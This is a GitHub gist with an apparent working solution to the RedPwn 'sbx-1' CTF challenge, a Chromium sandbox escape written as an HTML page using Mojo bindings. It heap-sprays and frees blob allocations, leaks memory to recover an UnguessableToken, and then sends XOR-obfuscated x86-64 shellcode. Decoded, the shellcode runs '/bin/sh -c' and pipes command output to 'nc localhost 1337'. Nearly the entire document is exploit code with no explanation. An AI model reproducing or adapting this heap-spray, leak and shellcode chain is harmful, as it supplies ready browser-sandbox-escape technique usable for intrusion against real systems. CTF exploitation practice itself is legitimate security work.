Skip to content

Instantly share code, notes, and snippets.

@hkraw
Created July 10, 2021 13:02
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save hkraw/07fea48adf2ad4978dbf3b498ab05dff to your computer and use it in GitHub Desktop.
Save hkraw/07fea48adf2ad4978dbf3b498ab05dff to your computer and use it in GitHub Desktop.
<html>
<head>
<title>RedPwn sbx-1</title>
</head>
<body>
<h1>:thonk:</h1>
<pre id='log'></pre>
</body>
<script src='./mojo_bindings.js'></script>
<script src='./third_party/blink/public/mojom/desert.mojom.js'></script>
<script src='./mojo/public/mojom/base/unguessable_token.mojom.js'></script>
<script src='./mojo/public/mojom/base/big_buffer.mojom.js'></script>
<script src="./third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script>
function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process", true);
function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient,
new ProgressClientImpl(),
progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size,
this.pipe.consumer,
this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await new Promise(resolve=>setTimeout(resolve, 100));
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
})});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
async function heapSpray(allocator, data, size) {
return Promise.all(
Array(size).fill().map(
() => allocator(data)
));
}
</script>
<script>
(async()=>{
const k_OzymandiasPtrSize = 0x100
let allocator = getAllocationConstructor()
var blob = new Uint8Array(k_OzymandiasPtrSize).fill(0x41414141)
var spray_chunks = await heapSpray(allocator, blob, 0x100)
await new Promise(resolve=>setTimeout(resolve, 1000))
console.log("Spray Blob Done")
for(var i = 0x50; i < 0x100; i++) {
spray_chunks[i].free()
}
await new Promise(resolve=>setTimeout(resolve, 4000))
console.log("Free 1")
let target = new blink.mojom.OzymandiasPtr()
Mojo.bindInterface(blink.mojom.Ozymandias.name,
mojo.makeRequest(target).handle)
let ptrs = new Array()
for(var i = 0; i < 0x100; i++) {
ptrs.push(new blink.mojom.OzymandiasPtr())
Mojo.bindInterface(blink.mojom.Ozymandias.name,
mojo.makeRequest(ptrs[i]).handle)
}
let buffer = new mojoBase.mojom.BigBuffer()
buffer.bytes = new Uint8Array(0x100).fill(0x41414141)
let wreck = new Array()
wreck.push(
new blink.mojom.Wreck({size:0x100,
lengthToUse:0x5000, data:buffer,
type:0x7331})
)
let sand = new blink.mojom.Sand({wrecks:wreck})
for(var i = 0x20; i < 0x50; i++) {
spray_chunks[i].free()
}
await new Promise(resolve=>setTimeout(resolve, 3000))
console.log("Free 2")
var conv_ab = new ArrayBuffer(0x5000)
var u8 = new Uint8Array(conv_ab)
var u32 = new Uint32Array(conv_ab)
var leaks = ((await target.despair(sand)).decay)[0].bytes
for(var i = 0; i < leaks.length; i++) {
u8[i] = leaks[i]
}
var token_leaks = new Uint32Array(4).fill(0x41414141)
for(var i = 0; i < u32.length; i++) {
if((u32[i]&0xfff) == 0xc50) {
token_leaks[0] = u32[i+4]
token_leaks[1] = u32[i+5]
token_leaks[2] = u32[i+6]
token_leaks[3] = u32[i+7]
break
}
}
var shellcode = new Uint8Array([
0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2e,0x63,
0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0x89,0xe7,0x68,
0x31,0x33,0x33,0x37,0x48,0xb8,0x61,0x6c,0x68,0x6f,0x73,0x74,0x20,0x33,
0x50,0x48,0xb8,0x7c,0x20,0x6e,0x63,0x20,0x6c,0x6f,0x63,0x50,0x48,0xb8,
0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2c,0x62,0x1,0x6d,0x72,
0x21,0x2e,0x21,0x48,0x31,0x4,0x24,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,
0x1,0x50,0x48,0xb8,0x2e,0x63,0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4,
0x24,0x31,0xf6,0x56,0x6a,0x13,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48,
0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x6a,0x1,
0xfe,0xc,0x24,0x31,0xd2,0x52,0x48,0x89,0xe2,0x6a,0x3b,0x58,0xf,0x5,0xc3
])
if(token_leaks[0]!=0x41414141) {
console.log("leaked token")
var token_mojom = new mojoBase.mojom.UnguessableToken()
token_mojom.high = (BigInt(token_leaks[1]) << 32n) + BigInt(token_leaks[0])
token_mojom.low = (BigInt(token_leaks[3]) << 32n) + BigInt(token_leaks[2])
console.log(token_mojom.low.toString(16))
console.log(token_mojom.high.toString(16))
for(var i = 0; i < ptrs.length; i++) {
try {
await ptrs[i].visage(shellcode,token_mojom)
} catch(e) {
console.log(e)
}
}
} else {
console.log("Failed")
location.reload()
}
})()
</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment